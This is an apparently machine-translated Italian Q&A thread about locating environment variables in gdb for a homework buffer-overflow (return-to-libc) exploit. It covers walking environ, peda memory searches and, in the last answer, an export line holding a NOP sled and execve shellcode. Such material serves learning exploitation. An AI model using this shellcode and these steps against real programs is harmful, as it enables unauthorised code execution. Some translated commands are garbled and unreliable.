it-swarm.it

Trovare variabili d'ambiente con gdb, per sfruttare un buffer overflow

Devo sfruttare un buffer overflow molto semplice in un programma C++ vulnerabile per un compito e non riesco a trovare la variabile di ambiente Shell.

Non ho mai lavorato con BoF prima e dopo aver letto molte domande simili, post, ecc. Ho queste informazioni (correggimi se è sbagliato):

  • Il programma memorizza le variabili di ambiente in una variabile globale denominata environ
  • Posso trovare l'indirizzo di questa variabile in questo modo:

    (gdb) info variable environ
    All variables matching regular expression "environ":
    
    Non-debugging symbols:
    0xb7fd1b00  __environ
    0xb7fd1b00  _environ
    0xb7fd1b00  environ
    
  • Devo trovare il /bin/bash stringa in quella variabile per avviare una Shell (ho già il sistema e gli indirizzi di uscita, ho solo bisogno del percorso verso la Shell). Ed ecco dove non so cosa fare. Ho letto tutorial gdb, ma ancora niente. x/s 0xb7fd1b00 non genera nulla di utile.

12
Palantir

environ è un puntatore al puntatore, poiché ha il tipo char **environ.

Devi provare qualcosa del tipo:

(gdb) x/s *((char **)environ)
0xbffff688:      "SSH_AGENT_PID=2107"
(gdb) x/s *((char **)environ+1)
0xbffff69b:      "Shell=/bin/bash"
16
J.D.
  • Le variabili di ambiente sono 16 byte dal puntatore di base (% ebp).
  • Metti un punto di interruzione nella funzione principale e fai questo,

(gdb) x/wx $ ebp + 0x10
0xffffd3f8: 0xffffd48c
(gdb) x/wx 0xffffd48c
0xffffd48c: 0xffffd67e
(gdb) x/s 0xffffd67e
0xffffd67e: "XDG_SEAT_PATH =/org/freedesktop/DisplayManager/Seat0"
(gdb) (gdb) x/wx 0xffffd48c + 4
0xffffd490: 0xffffd6b2
(gdb) x/s 0xffffd6b2
0xffffd6b2: "XDG_CONFIG_DIRS =/etc/xdg/lubuntu:/etc/xdg/xdg-Lubuntu:/usr/share/upstart/xdg:/etc/xdg"

Consulta questo blog

4
h1dd3ntru7h

se hai peda installato per gdb, puoi semplicemente digitare questo in gdb:

gdb-peda$ searchmem Shell

L'output mostrerebbe

Searching for 'Shell' in: None ranges
Found 1 results, display max 1 items:
[stack] : 0xbffff540 ("Shell=/bin/bash")
2
redgetan

Inoltre puoi usare solo "refsearch nome_variare" se hai installato peda per gdb.

esempio:

Prima di tutto dovresti aggiungere una variabile (qualcosa come Shellcode) all'ambiente.

(export Shellcode=$(python -c 'print "\x90"*100 +"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe1\x50\x89\xe2\xb0\x0b\xcd\x80"'))

Quindi aprire gdb con il programma di esempio, interrompere main ed eseguire.

Quando il programma si interrompe sul punto di interruzione, è possibile cercare l'indirizzo dell'ambiente seguendo il comando.

codice shell refsearch

0
user147694